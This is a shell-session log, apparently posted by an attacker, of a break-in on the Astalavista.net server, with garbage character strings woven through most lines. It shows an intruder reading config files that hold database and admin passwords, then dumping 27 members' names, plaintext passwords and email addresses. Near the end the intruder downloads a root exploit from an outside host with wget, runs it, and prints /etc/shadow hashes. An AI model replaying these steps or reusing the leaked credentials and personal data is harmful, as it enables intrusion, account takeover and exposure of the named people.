drwxrwxrwx 2 astanet astanet 4096 Jan 5 2006 backend+ I' P% z+ |# y; j3 U: |
drwxr-xr-x 2 astanet astanet 4096 Oct 24 2006 banner
& f+ L' N! r; b& q1 M-rw-r–r– 1 astanet astanet 25724 Apr 4 2006 banner.jpg( ?0 U5 j/ v3 ?1 B: [% M
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 config& }* n) n4 m& Y7 G( H* ]
drwxr-xr-x 3 astanet astanet 4096 Jan 12 08:52 cron& t6 b0 h- @8 h7 F( w$ h( x
drwxr-xr-x 11 astanet astanet 4096 Jan 5 2006 dvd8 `% @# ^5 g" b. d% p: {
-rw-r–r– 1 astanet astanet 36 Jan 5 2006 error.php
, o4 {& e: q% O4 H& X-rw-r–r– 1 astanet astanet 1406 Jan 5 2006 favicon.ico9 A( q: \6 f" i4 M: m. w
drwxrwxrwx 2 astanet astanet 4096 Dec 15 2006 feed
. b8 T% w% \6 B3 Q; N5 |! kdrwxr-xr-x 3 astanet astanet 4096 Dec 8 2006 flashtour
9 j( r) C2 P8 k! [2 O-rw-r–r– 1 astanet astanet 18 Jan 5 2006 htaccess; ?$ e6 a& B6 f1 u' u* c
-rw-r–r– 1 astanet astanet 585 Mar 24 14:50 .htaccess
) X0 m* p8 E. @: v-rw-r–r– 1 astanet astanet 398 Jan 5 2006 index1.php% ~4 l _) k: _1 M
-rw-r–r– 1 astanet astanet 1036 Jan 5 2006 _index.html
' N4 {" d- |' g* ?8 @-rw-r–r– 1 astanet astanet 6880 Dec 23 14:44 index.php( ]! N+ U7 ]; A: q; |* J7 }
-rw-r–r– 1 astanet astanet 676 Mar 21 2006 index_redirect.php6 [' g# j5 F8 Y( _
-rw-r–r– 1 astanet astanet 739 Feb 24 2006 index.swf
4 n: o! O) b: e. K+ i' \* K0 vdrwxr-xr-x 4 astanet astanet 4096 Oct 18 2006 irc j, l& E6 A8 N( r. V2 Q3 Z
drwxr-xr-x 4 astanet astanet 4096 Aug 11 2006 lang, Q9 O- C/ e% O. e& H
drwxr-xr-x 13 astanet astanet 4096 Sep 21 2006 lib4 m, N0 c m: K* k, }" o
drwxr-xr-x 6 astanet astanet 4096 Aug 11 2006 log) @ k2 l5 i2 O' u" J
drwxr-xr-x 2 astanet astanet 4096 Jan 13 14:02 member
& O* Y0 b8 A/ n* C& n. b: mdrwxrwxrwx 5 astanet astanet 4096 Jun 4 00:03 memberdata
7 `# c4 w: g5 U' D" udrwxr-xr-x 2 astanet astanet 4096 Jan 5 2006 new
( K8 s! }: `* i-rw-r–r– 1 astanet astanet 7219 Feb 24 2006 pix1.swf1 s! [% [4 n) J/ T
drwxr-xr-x 2 astanet astanet 4096 Oct 27 2006 re& d" z, v( G2 w2 Y, f
-rw-r–r– 1 astanet astanet 23 Jan 5 2006 robots.txt
; p! j& W; z7 {. d) x4 Odrwxr-xr-x 3 astanet astanet 4096 Aug 11 2006 rss
+ D' P6 Z. z5 U Adrwxr-xr-x 39 astanet astanet 4096 Dec 13 2007 sources i5 R; I4 y& ]0 g% u# ]
drwxrwxrwx 3 astanet astanet 4096 Feb 2 15:40 temp_com2 u; j, l; U4 @2 C' x- U3 u" y
drwxr-xr-x 7 astanet astanet 4096 Aug 11 2006 themes
9 N, [. ?* ?" [' odrwxr-xr-x 2 astanet astanet 4096 Mar 14 2008 tmp_src$ ~- k7 H* F$ Y/ }; G: v
drwxr-xr-x 5 astanet astanet 4096 Aug 11 2006 tpl
# N! p9 k( ~+ K2 {8 `$ P8 xdrwxr-xr-x 3 astanet astanet 4096 Sep 7 2006 v2( }! l9 [' {# U, L& R8 i
drwxr-xr-x 16 astanet astanet 4096 Jul 5 2006 v2_old, r0 K& q& ^2 [4 c
-rw-r–r– 1 astanet astanet 35 Dec 4 2006 webcash.php
/ b* f% S A: ]$ y9 a) q% Ndrwxr-xr-x 13 astanet astanet 4096 Sep 21 2006 wiki
$ e9 C. U! h9 h: ^. ^ U" G/ D' G/ `" H, u2 G' p
sh-3.2$ head -20 index.php' i3 r# v; F. r& |8 G, U3 N+ n
<?PHP
3 G5 C0 F+ q* k9 j/**
5 E F# b1 z5 D [2 I* g! w* Mainfile (external) for astalavistaNET v2.03 W+ a# G) Q1 n
*
6 V! d4 v: _8 c" u* d7 A* @copyright Astalavista IT Engineering GmbH% Z% l5 M" ^1 n5 L
* @author Thomas Kaelin <链接标记thomas.kaelin@astalavista.ch>8 i( o. Z p* a
* @version 1.0
$ @1 c' H2 [( H$ D1 C5 q*/5 P6 z! m+ W8 `8 }* r# o1 o9 q
& W6 j8 B* M& b1 J! Y W$ W
if ($_SERVER['PHP_SELF'] == ‘/webcash.php’) {! y: N% v1 F3 t* K/ z1 O
$dontStartSession = false;% X6 K+ V8 K2 a! g* S, x4 h
} else {9 M( C/ B% @& ~8 u( j% `# @
$dontStartSession = true;8 U& H' v* z' h% g( ~' e% M9 M; G
}) h; V: L V' h# O3 }+ |+ U( V
require_once($_SERVER['DOCUMENT_ROOT'].’/config/com.conf.php’);6 H) x; i/ V& E% U( ^3 W' }- u
require_once($_SERVER['DOCUMENT_ROOT'].’/config/ext.conf.php’);
: _/ @, ^) x8 J8 N+ f$ j. w- U require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’com.class.php’);
- E4 |! D, T1 p, F5 D a require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’ext.class.php’);+ ?3 \: p- U. L$ p# y" f
* U/ `; @5 i7 n2 w# p Lsh-3.2$ cd config
' K: R" h8 k! W; w9 Fsh-3.2$ ls -la
6 j% [* h9 ?+ A6 I5 t( ?# H+ Y( W# jtotal 32% y3 {1 A6 ^6 x1 p
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 .
8 ~# A/ Q' v* K4 l) b! F m, R. cdrwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
6 L0 q3 y7 c( N* ^-rw-r–r– 1 astanet astanet 987 Aug 11 2006 adm.conf.php6 Y- }( a( o; z$ f) z* }7 C/ [
-rw-r–r– 1 astanet astanet 4937 Dec 23 15:48 com.conf.php7 ~' u$ o0 u2 H7 |: i& y
-rw-r–r– 1 astanet astanet 913 Aug 11 2006 cron.conf.php' ^. y+ N7 F: F) `; |0 X6 x7 v) \
-rw-r–r– 1 astanet astanet 1668 Aug 20 2008 ext.conf.php _) g, u7 w2 {8 k$ l2 w, k
-rw-r–r– 1 astanet astanet 2724 May 30 2007 int.conf.php/ s/ V. z/ D3 Z! Z/ U9 J0 K" O" N' b
* a, N! h8 I, f% [, [; `& [
sh-3.2$ cat com.conf.php( m4 _( q9 f8 K/ }' [- M
[snip]
# N6 ^) Y* q3 }$ V+ F0 K- j0 L; k//member-database! A4 r3 q& ^( a7 H& L4 o( Z Y
$_CONFIG['db_mem_server'] = ‘localhost’;5 `" [ x) x: T* a$ {
$_CONFIG['db_mem_database'] = ‘astanet_membersystem’;
( p T2 X+ H. E2 @5 m& D# n- f1 {$_CONFIG['db_mem_user'] = ‘astanet_db’;
4 X7 ]0 }+ F; i& v8 ^1 d' x* Q5 R$_CONFIG['db_mem_password'] = ‘TXwVrC7hbq’;
& Y) N; D: x4 J% C4 \4 a+ Z& C$_CONFIG['db_mem_debug'] = false; //true or false5 \, Z% H" J3 B1 i* U j& s* q
//ads-database& m/ ~; Z2 P! z+ w0 J( x
$_CONFIG['db_ads_server'] = ‘localhost’;4 n$ n7 B! a; [# }1 E# s# G
$_CONFIG['db_ads_database'] = ‘astanet_ads’;
; s% c3 M, o2 q* s9 c5 y& S' f$_CONFIG['db_ads_user'] = ‘astanet_db’;
# k" @6 h* J* l f3 ^$_CONFIG['db_ads_password'] = ‘TXwVrC7hbq’;
) A# i" u1 i0 x+ ^% {# Q9 A$_CONFIG['db_ads_debug'] = false; //true or false
; F, O. R; w' x//rainbow-database7 N* J; A8 V7 H5 p( B& g8 Y0 \- A: B
$_CONFIG['db_rainbow_server'] = ‘212.254.194.163′;
4 }" J, T; n! S* i$_CONFIG['db_rainbow_database'] = ‘rainbow’;8 A T9 m+ C" Z7 e
$_CONFIG['db_rainbow_user'] = ‘dinu’;) c9 q% j8 i& Y2 n% B9 j$ `
$_CONFIG['db_rainbow_password'] = ‘dinudinu’;
# I. m. s' r: c3 H3 t+ Y! i" E$_CONFIG['db_rainbow_debug'] = false; //true or false' j6 K2 k5 B x
//mailing lists database
/ A( o8 m0 W: N* Q$_CONFIG['db_mailing_lists_server'] = ‘localhost’;
! _; j% \& t$ p: w6 `" s. F& w$_CONFIG['db_mailing_lists_database'] = ‘astanet_mailing_lists’;
6 _5 q8 ^ F, B$_CONFIG['db_mailing_lists_user'] = ‘astanet_db’;9 R t9 b/ q& o8 Y* ]
$_CONFIG['db_mailing_lists_password'] = ‘TXwVrC7hbq’;: n! ~" d. D# o* L" X
$_CONFIG['db_mailing_lists_debug'] = false; //true or false
9 @/ |) {( `9 b//paypal+ K. d. s& j8 G
$_CONFIG['sub_pp_url'] = ‘链接标记[url]https://www.paypal.com/cgi-bin/webscr[/url]’;. e1 s2 |; ^1 Z
$_CONFIG['sub_pp_cmd'] = ‘_xclick’;; m' S' T: b/ l2 Y- K: @
$_CONFIG['sub_pp_business'] = ‘链接标记info@astalavista.net’;* R) C, H6 Y* R" B$ A! r% Q
$_CONFIG['sub_pp_noship'] = ‘1′;
~( z3 C5 }% \; h) _% q/ z$_CONFIG['sub_pp_referer'] = ‘链接标记[url]https://www.paypal.com/[/url]’;
4 p, Z2 R2 W9 q5 `, u y+ A0 ?4 L# @[snip]
2 s9 V2 f+ F5 }7 y( h/ p9 ?& f5 f3 U: |0 |/ `4 }5 H
sh-3.2$ cd ..8 Q/ v; ^( a9 k" a& H$ |
sh-3.2$ cd member
. t' k% b9 i) E; C5 Y* Dsh-3.2$ ls -la& ]3 q+ u/ Z7 O2 x9 L/ W
total 20
9 ~6 c2 p* d* I9 w @7 Ddrwxr-xr-x 2 astanet astanet 4096 Jan 13 14:02 .) I% v' j1 b+ _1 S; L
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
( m. V. f' ]+ ?3 k-rw-r–r– 1 astanet astanet 19 Jan 13 14:02 .htaccess' ?, ~3 p! ]7 R5 v
-rwxr-xr-x 1 astanet astanet 6709 Jan 13 14:06 index.php
. i" L' g8 u7 E0 p8 zsh-3.2$ cat .htaccess, ~) L% [# _$ d) E
SecFilterEngine off
- q4 u4 L5 t! L. o0 h8 C2 ~2 b( U I1 G! ~& G. ]" E
sh-3.2$ cd ..
; ?, W! ]1 \' Z7 u& Jsh-3.2$ cd cron% V9 C/ d9 y0 D/ Z2 Z
sh-3.2$ ls -la
2 a$ r _+ ^& Btotal 168
% H: c0 P# v; [# w Ydrwxr-xr-x 3 astanet astanet 4096 Jan 12 08:52 .; Q6 [4 V% ?7 ]6 l" g3 E& S
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
% s k" V0 t& O7 Y4 U8 X0 H6 f8 @-rw-r–r– 1 astanet astanet 1272 Jan 12 08:24 0_corefile.php
+ s) f _# N, M" B; W/ H3 Y3 E* F-rw-r–r– 1 astanet astanet 2356 Aug 11 2006 0_functions.php5 X. }$ I1 x3 x; g6 l$ I1 j; |$ X+ [" E
-rw-r–r– 1 astanet astanet 3616 Dec 23 15:44 1_daily.php1 F: D( \7 C9 a7 V6 Q
-rw-r–r– 1 astanet astanet 527 Aug 11 2006 1_fivemin.php
7 c" r) A' Q: W7 K$ u-rw-r–r– 1 astanet astanet 5006 Dec 23 15:39 1_hourly.php5 M, W6 Q4 N% p& z
-rw-r–r– 1 astanet astanet 432 Aug 11 2006 1_weekly.php. t. Q/ i5 p- X" f& |! m" z6 ?
-rw-r–r– 1 astanet astanet 2277 Aug 11 2006 2_advertising.php, P% m3 L Z; w8 J4 Z9 n5 r4 Z8 x
-rw-r–r– 1 astanet astanet 4882 Dec 23 15:40 2_archives.php
( v0 e( g$ B' F% w1 b. K-rw-r–r– 1 astanet astanet 3784 Aug 16 2006 2_awstats.sh
: u6 Y8 Z0 z7 ]" x8 I-rw-r–r– 1 astanet astanet 14894 Jan 12 08:51 2_expire.bak.php9 D# }& t/ w7 V) t
-rw-r–r– 1 astanet astanet 14979 Jan 12 09:10 2_expire.php! Y E6 G' O4 ]* E( y* }5 ~
-rw-r–r– 1 astanet astanet 7657 Aug 15 2006 2_exploitree_updater.php9 Q3 Q) y+ s* Y7 l9 g1 ~6 ]
-rw-r–r– 1 astanet astanet 686 Dec 23 16:31 2_filesize.sh
: `' {8 d. W h+ @- J" f4 r F-rw-r–r– 1 astanet astanet 9853 Aug 11 2006 2_keywords_old.php a) x6 { I! n* S. Z; p
-rw-r–r– 1 astanet astanet 15664 Sep 22 2006 2_keywords.php
) i A# I( F+ j; s" T2 Y" \-rw-r–r– 1 astanet astanet 1233 Aug 11 2006 2_proxy_checker.php
1 h% y6 P) q# L8 ^) g8 U0 t-rw-r–r– 1 astanet astanet 7558 Aug 11 2006 2_proxy_collector.php1 r6 L& }( T( d1 J" Q4 p% _9 Y6 q6 p0 A
-rw-r–r– 1 astanet astanet 796 Aug 11 2006 99_create_emails.php$ M, V5 P# V7 o2 I
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 99_lang_email
2 M O5 f9 j0 v( C7 q" | D-rw-r–r– 1 astanet astanet 9622 Jan 6 16:04 login_reminder.php
/ o6 D! |9 `5 k' W* u4 I5 D-rw-r–r– 1 astanet astanet 9620 Jan 6 16:05 login_reminder_test.php# \& z' h- Y. h8 R
" k! c# L0 K: M6 b5 K) x
sh-3.2$ cd ..
9 B2 a5 d$ j/ q* c3 m3 ?& Ysh-3.2$ cd _007
6 e/ d$ R! b" i# v5 Csh-3.2$ ls -la, G0 n; }$ L' S" }
total 248 j/ Q2 u; C, C* q/ m P
drwxr-xr-x 3 astanet astanet 4096 Dec 27 2006 .1 t0 b& L8 `; O0 `% x- |5 S
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
& d4 |2 J) `- H, x-rw-r–r– 1 astanet astanet 96 Dec 23 15:17 .htaccess
6 b# |" `7 Q: H* b-rw-r–r– 1 astanet astanet 3263 Jan 15 2007 index.php4 e" F$ ^3 v/ I" l
-rw-r–r– 1 astanet astanet 20 Dec 27 2006 info.php
- h. s( I" r: C. x. m* ~, B( t; Ldrwxr-xr-x 5 astanet astanet 4096 Aug 11 2006 sitemap/ K$ n$ H. ]0 G) k
. T/ s& M6 q7 Z3 x+ a& n# U
sh-3.2$ cat .htaccess8 g- @8 [' Y% X8 e
authType Basic
- A8 F& t5 L5 Z* g) r" S; \4 t! OauthName Admin2 v6 d3 m3 {& b% K- e
authUserFile /home/astanet/auth/.htadm_pwd
& N( | n6 |5 B8 ]5 yrequire valid-user
% \& }; {& O+ [/ }
l! V$ p, X/ x/ F" Q2 Nsh-3.2$ cat /home/astanet/auth/.htadm_pwd
( y- n7 |1 [' @! S: K& p/ o: o* }admin2net:CR0bl65MwhfT
1 ^1 i: k/ u- T$ P8 D8 m( f
0 a; z9 O1 m5 zsh-3.2$ mysql -u astanet_db -p( E" |7 m& _) D7 m4 S9 l) x- I
Enter password:
, w1 C5 R2 w5 n+ G! n0 JWelcome to the MySQL monitor. Commands end with ; or \g.* E2 [# F/ z$ A1 D0 z) k* \2 ^6 r3 P
Your MySQL connection id is 275153. j/ H) ]6 z; S! x; S% T2 z
Server version: 5.0.45-community-log MySQL Community Edition (GPL)
1 R. r. l( ^( v- t
) D. K5 I7 n7 O# }& YType ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.
8 n# G+ R/ T/ q4 a
& E* m. _( t3 |( ?mysql> show databases;1 s0 `6 }" p; @5 }* w
+———————–+
% k; r) d2 u9 L( k' o$ v| Database |
. x$ Q; f( U4 @+———————–+2 F! L1 N/ Y8 G" ~
| information_schema |
7 y Z4 q$ b6 [( P| astanet_ads |
. ~4 v( s9 x2 l7 a3 V& N| astanet_mailing_lists |6 w+ Y- T2 n# z5 L4 p8 @& V
| astanet_mediawiki |
! o! a+ {- u8 s6 {| astanet_membersystem |
& d8 {5 S8 b$ _& k| test |0 ~) W$ \3 P0 R0 F7 Z% N) g, Z8 W# R
+———————–+! {- i R! N3 F4 w8 B4 p
6 rows in set (0.00 sec)& V+ e% i+ e7 B) ], V
, F) [5 Q0 P4 m* J, T" r
mysql> use astanet_membersystem1 p( I! o1 N2 @/ w
Database changed* B, W$ z& g6 v1 j- a9 g
mysql> show tables;8 [$ z* e( \: u$ m8 v
+———————————–+
, m% Z2 w( b t" r( a| Tables_in_astanet_membersystem |
* k- ~$ q( G( W3 V8 j+———————————–+
& o0 R* O6 V' a6 E! F7 N$ ?7 E| blacklist_categories |; \0 X; t% C. X6 k$ u1 [, D$ O4 c
| blacklist_content |
8 g8 F3 p& _4 V' M| blacklist_levels |& n: ^" t: T3 m8 B6 ~8 T
| blacklist_mcset |# e* f. X4 ] A; ]) `5 J' R3 l7 L
| dir_categories |) z [3 \- J) V/ Z8 P
| dir_comments |
. z3 j8 e$ D/ `# U8 S, q! N| dir_links |
# ]+ q( h& @% N& N, u& a3 e| dir_temp |4 v; c" `) B0 m
| dir_votes |$ {2 L& ^: n$ t3 K5 Q
| documents |
* W; m2 t& |' ` m# W" }| documents_categories |1 {! a/ A) o' o
| email_content |# f" \! R5 M2 H: b
| email_settings |' a% D0 t& R( C/ y# X6 @
| exploits |
/ S/ `7 m3 E6 c% R3 Z| exploits_categories |4 G5 B; A# @0 ?' B" u6 A: M
| exploittree_categories |/ R$ I% X; e0 s" ?8 _
| exploittree_exploits |' D4 c8 c" Q# n7 i- w
| home_values |
1 @" ?2 F; F1 [# {+ P| iso_countries |
; v# R! e9 }! m2 r5 z4 r| links_categories |
0 z8 K, u+ w) ]5 v2 l# E* ~| links_records |% W% R3 Y4 @1 i a4 A, s5 A/ v
| links_unauth |
# G& z) Q" w5 ^. P| links_votes |
7 [, [# c" ~3 C/ H| log |/ n0 H0 t" {2 W" ~" M7 n
| news_categories |
( a- E# `7 b, c2 v| news_comments |. f0 q s. G: l$ `& a
| news_emoticons |2 i) I. m2 g& t6 K. f4 p: N) G
| news_latest |3 d2 v" A9 O4 t2 `! A. \& I4 b& H
| news_messages |
/ K4 S/ h% o0 s0 ]0 m| news_statistics |
! y X' N; ^8 p* W4 P- j| news_votes |
& A& e; |- B- }* [, T+ U( X| prices_content |& Y) C/ q7 s# i% R+ H) Z
| prices_offers |5 g- \( ?+ \, z8 j
| rss_settings |# r0 W% f) u8 I8 _/ L
| sessions |9 _0 F- c/ M; W, W7 R. k
| stats_signups |
% ?. i1 K5 I& J" A, N| u2u2 |" f$ J8 A) w! F* n# o6 w3 s% S% l
| u2u_contact |% ~, Y) `5 e: |0 M4 w$ Y5 A1 d
| u2u_settings |2 d, f9 g9 ~' I7 U
| user_keywords_selected_categories |& T9 q- c# c* k* E' o' Q
| users |( ]5 {$ ?1 ?9 k1 H- h7 h! G+ A
| users_ipn_test |
& F2 r8 ]; G' v8 f1 u| users_keyword_values |; B4 K0 j, S6 z, u2 t: i/ P3 k5 n
| users_profile |6 e$ N4 U: i% P3 |6 N
| users_temp |0 Y1 U7 D: x; \# w+ b3 W
| users_upgrade |
& m/ W( u; H4 _! ]) D" |# j+———————————–+
+ ]+ a9 R: n# A3 {/ v& @46 rows in set (0.00 sec)
l/ L" a4 X4 Z$ i* h! p
- ]9 ]$ a- \: J0 m: G9 H% kmysql> describe users;
: M: ^. _4 z7 n) c# h; A6 ~( Y+ n E+————————–+————————————–+——+—–+———————+—————-+
6 v) c6 j! l& y5 C- ]" ~+ f| Field | Type | Null | Key | Default | Extra |
0 f6 J3 ~, d. a0 Y3 m' M+————————–+————————————–+——+—–+———————+—————-+( M2 m3 x1 B' U* C/ ]
| primary_key | smallint(5) unsigned | NO | PRI | NULL | auto_increment |
: d$ t- g o/ t O, ~| user | varchar(50) | NO | | | |
0 z0 ?6 t1 S! g5 x. L% ]7 k| nickname | varchar(30) | NO | MUL | anonymous | |7 v* F! j# x) J$ F, G- s" u- z+ b, E
| password | varchar(30) | NO | | | |! O9 Y6 F, m% a) Z }' @
| userlevel | tinyint(3) | YES | MUL | NULL | |
& j2 \7 Q: K6 |9 u3 m| exp | int(8) unsigned | NO | | 0 | |
. r$ T/ n' Y. v& E" F ?6 B| email | varchar(50) | NO | | | |0 G f8 M; D. Q) D
| ip | varchar(15) | NO | | 0 | |
0 l$ J+ K2 M3 h3 Q$ k: r| proxy | set(’0′,’1′) | NO | | 0 | |* T5 O; U) ?" J" @# K8 I3 _( U/ f
| logtime | timestamp | NO | | CURRENT_TIMESTAMP | | h# h6 K1 V, W8 D
| login_reminder_last_sent | timestamp | NO | | 0000-00-00 00:00:00 | |
9 G3 p8 N1 E! f7 a- H' w4 g' A| anz_in | tinyint(1) | NO | | -1 | |5 E) A# y$ w$ C y& h
| status | tinyint(1) unsigned | NO | | 0 | |4 v$ L, J: {9 _ j
| checked | set(’0′,’1′,’2′) | NO | | 0 | |
3 `; X; {. r" m5 `# u| freemember | set(’0′,’1′) | NO | | 0 | |
9 r( P- i o5 h# M' [$ g| ordertype | set(’transfer’,'wp’,'pp’,'mc’,'CnB’) | YES | | NULL | |
7 y7 g; X+ \* O" P4 g9 s| lang | tinytext | NO | | | |" @( x; s$ X9 }5 i: T3 X1 N
| adid | smallint(6) | NO | | 0 | |* b( g3 q4 a# v' t
| pp_txn_id | varchar(255) | YES | | NULL | |
6 q3 h$ B' d7 x! b; e) Y$ ?| cnb_transaction_id | varchar(255) | YES | | NULL | |
, f+ p. n) L1 Y% U, V; M a| cnb_order_id | varchar(255) | YES | | NULL | |* U' I3 s, r; ]
| cnb_user_id | int(11) | YES | | 0 | | R! Z7 p4 y) Q1 K* I6 [8 M
+————————–+————————————–+——+—–+———————+—————-+
: C. v6 [2 `) \( x. V4 g* s22 rows in set (0.01 sec)
4 e' R, i. r: n C; _1 [2 u8 X3 r& z1 L) ?4 t
mysql> select count(*) as skids from users;
0 C) h4 T8 `5 G) y1 S+——-+
6 A; e. u( ^/ k| skids |
' O9 K& V {+ F5 v1 Z5 g+——-+
% s; ?9 { p( _; J| 25199 |5 U% e' E; X( M$ X& G8 g
+——-+
; v4 Z* B3 t" ]4 T1 C1 row in set (0.00 sec)
, v- F: L7 v X# K' b; ?3 v; M
* E' m; {: s. ?4 i; S Jmysql> select user,nickname,password,email from users where userlevel = 1;
3 m: w" v a. ~, a; c+————————–+———————-+——————+———————————–+
- y) D4 |5 W% t| user | nickname | password | email |
+ e- S7 R# r* l$ g' Z+ r `3 h0 X+————————–+———————-+——————+———————————–+9 f( X4 W. N, O( m
| pascal | prozac | astaman3 | 链接标记info@astalavista.net |
7 g" e# e* |* E8 H| Ivan Schmid | rOOtless1 | astalavista4asta | 链接标记ivan.schmid@comvation.com |1 Z n& n4 E" X1 R- @3 H( j8 v W
| qreymer | Palermo | qblsw85iam | 链接标记eche@home.se |
5 g$ g, E" I, u; Q# i+ w9 \| Christian Wehrli | g0atherd | hitt?74 | 链接标记g0atherd@gmx.net |8 W: d4 Y# u5 Z9 y% p$ N$ m, _: T0 ^: o
| Andrew Blake | Minky | liq73uid | 链接标记a.blake@har.mrc.ac.uk |6 y/ E. K" m% h& N7 g
| Martin Wyss | dinu | kj63;cXy | 链接标记martin.wyss@astalavista.net |( _# S. W" {3 T1 m3 t
| Leandro Nery | Timan_no_Sanco | nery2002 | 链接标记leandronery@hotmail.com |) h7 y3 Z5 C- K' E
| shaving ryans privates | ShavingRyansPrivates | memberboard313 | 链接标记shavingryansprivates1@hotmail.com |
0 v# c% ~( u& M| Gerben van der Lubbe | Spoofed Existence | Lb59eXg5 | 链接标记spoofedexistence@hotmail.com |
0 X; F- M+ U" G1 D( n- W7 G: F* m| David M Lee | Daremo | icG12m03 | 链接标记daremo@hackerheaven.com |+ D0 c( b3 B% j& n
| David Corn | akriel | ve3uB$cUku | 链接标记akriel@fallenroot.net |
, F: c1 d u6 m: ~: C1 W| Thomas Kalin | Gwanun | QwErTy123 | 链接标记thomas.kaelin@astalavista.net |9 Z4 ~! q8 d% M& e1 K/ ^% j& c
| Marcus unknown | Cra58cker | hhCr4ck06 | 链接标记unknownmarcus@hotmail.com |4 F6 D* h/ x; m6 ]7 `* L
| David Ellis | dellis203 | philip | 链接标记dellis@nightwatchnss.com |
2 e: I# r. i4 F/ A+ S9 ]| Lars Christian Solberg | xeor | tF3s4|Nea | 链接标记xeor@hush.com |8 l4 N( I! L/ Z7 p9 j% C: M+ a0 \
| Paulo Santos | Be1er0ph0r1 | amor01 | 链接标记pmsantos@gmx.ch |% l4 e3 S1 W; b: f
| Thomas D?ppen | daha | asta4tom | 链接标记thomas.daeppen@astalavista.ch |4 o# w* M2 J# z. M
| Touraj Abbasi Moghaddasi | -Crow1 | NetR0ck | 链接标记toraj.a.m@gmail.com |
0 s4 w* r: f; p1 n1 n| Fabius Bernet | traviser | wellenreiter100 | 链接标记fabius.bernet@astalavista.ch |, M0 n. i) `2 E9 h% r) ?
| Zachary McElroy | duder1 | dirty245dix | 链接标记mcelroyzj@yahoo.com |0 E. g# s7 Z8 j# K' x& T1 m
| Leron Cohen | cohen2 | leron4free | 链接标记leron@quiredmedia.com |, b0 f4 ]2 {/ ^- j& c' O$ k
| Beatriz Pontes | anonymous1656 | pitas | 链接标记joao.pedro.pontes@gmail.com |
: b' U# v; Y6 `( h0 t; ?| Glafkos Charalambous | anonymous2086 | si99490178$# | 链接标记nowayout@webhostline.com |- h$ V7 J1 X* g
| developer COMVATION | anonymous2402 | Ri?Q$Q$MVU | 链接标记ivan.schmid@astalavista.ch |0 b) {' ~; S& x$ D
| Peter Fisher | cyph3r1 | testZer025435 | 链接标记cyph3r@astalavista.com |. C: O/ o" c) ~) b/ @$ Z
| sykadul | sykadul | ak29eral | 链接标记sykadul@gmail.com |
: `4 S' @$ K! w| Ronny Janzi | commander1 | mpbdaagf6m | 链接标记ronny.janzi@astalavista.ch |
" N' V7 Y) M3 O' j6 k( @) y8 ]+————————–+———————-+——————+———————————–+
9 s0 B' M( {. _' a- s% v% e& Z27 rows in set (0.00 sec)
6 K, Q; U* \ X" q3 ]
2 l" ~3 A) h! q* l* l/ D% ]+ K- h" {mysql> exit;) N5 q' T9 F* ~* W8 V# k5 ?8 I z
Bye$ w' l# q# w/ k' M8 s
: m* f( d% `% {* H$ H H[~] plaintext passwords? yes,) d- C8 u' G& f
Those so called “security professionals” who charge you $6.66 / month to
8 ^( O- A4 b# ~' Y* |$ vregister at their hack-proof portal, save your passwords in plaintext…
3 A1 U6 g" W& A/ }4 H5 dbrilliant!3 u5 m/ f' Y+ l/ h4 E x
0 j/ j9 w. f0 @' J( b/ I) J4 w[~] This been fun but we want more.
4 ~; x! o& S3 O) ?& \! I3 Y; X. O0 }3 Y+ y+ S1 i
sh-3.2$ uname -a
% k! T+ p1 v& H0 d( a, JLinux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
" a- f; ^& i! I1 Wsh-3.2$ wget 链接标记[url]http://anti.sec.labs/g0troot[/url]/ P8 T# {! L. n
–13:33:37– 链接标记[url]http://anti.sec.labs/g0troot[/url]
c- R( E1 V% e: t8 Z" E* R' ]5 WResolving anti.sec.labs… 13.33.33.37
6 {$ y# A; J+ e5 V3 M5 D* xConnecting to anti.sec.labs|13.33.33.37|:80… connected.
- H- D t' ~! h7 M& J- L; |3 {HTTP request sent, awaiting response… 200 OK/ D& |" |% a% ] d! v# ?
Length: 18200 (18K) [text/plain]) d6 r$ J, `4 S7 K
Saving to: `g0troot’1 }* e- H% c$ ?: e/ |0 H' F
! Q1 r/ O% C4 q" ]' N, p2 u$ T* P100%[=========================================================================================================================================>] 18,200 58.6K/s in; o( {$ j1 f+ W' _% w# [* q
0.3s6 T5 U. r& t+ U3 c% d
9 r; ~- I* `: I7 ]$ b
18:55:14 (58.6 KB/s) - `g0troot’ saved [18200/18200]$ `& j& F1 }1 W# \
4 ]2 L' E! @6 ~0 m9 h1 Ksh-3.2$ ./g0troot -i x86_64
; @3 r {5 Z. m6 @5 ^# E' ?[+] g0troot - anti.sec.labs
! x0 I5 a5 p* e& q0 t! r[+] Target: 2.6.18-128.1.10.el5
$ ~, z; s$ Q" g- a- |3 |+ y, J. f[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]
# V+ J4 ~) b7 C, |' K3 F2 `/ |3 a
; a2 x4 \, f% Y7 {! Q[+] r00tr00t
. M1 X6 ]2 T! r( p) \9 f s0 T[~] Executing shell…2 ?5 {, o3 ?% {. J
1 B3 R8 `2 ~8 I T; e& e6 l( B
sh-3.2# id
" p6 e, Y c. g# t" Uuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
3 T; [* |8 G+ W5 M2 ]
4 Q- [$ B2 q2 X/ S3 fsh-3.2# cat /etc/shadow
* N' \2 f* F/ X/ M) v. kroot 1$P/3ZMAgv$E9B4mX02s1Xrimj46V602.:14015:0:99999:7:::
1 c }4 R6 Y V! T' Z7 R' K[snip]
* Y. `. R- G1 N9 S/ k: L- uadmin1$sbycsEGo$d81laShnxFiziFaQMH32F.:13770:0:99999:7:::
+ Y4 j- G+ c, f7 J `3 Rjon1$5yHxRLX.$8pZs0cQLNh5uFCK3m4st1.:13777:0:99999:7:::
& H/ W9 Y7 g2 w4 e/ }2 mcom1$jEZ62nri$aDTj.1REsrYePcPBdfOQz1:13780:0:99999:7:::
' f- W% K0 B- d. k% L& Bastanet1$YniJLAr.$NKtPNNGK9mcmz3/mLMSWC1:14235:0:99999:7:::
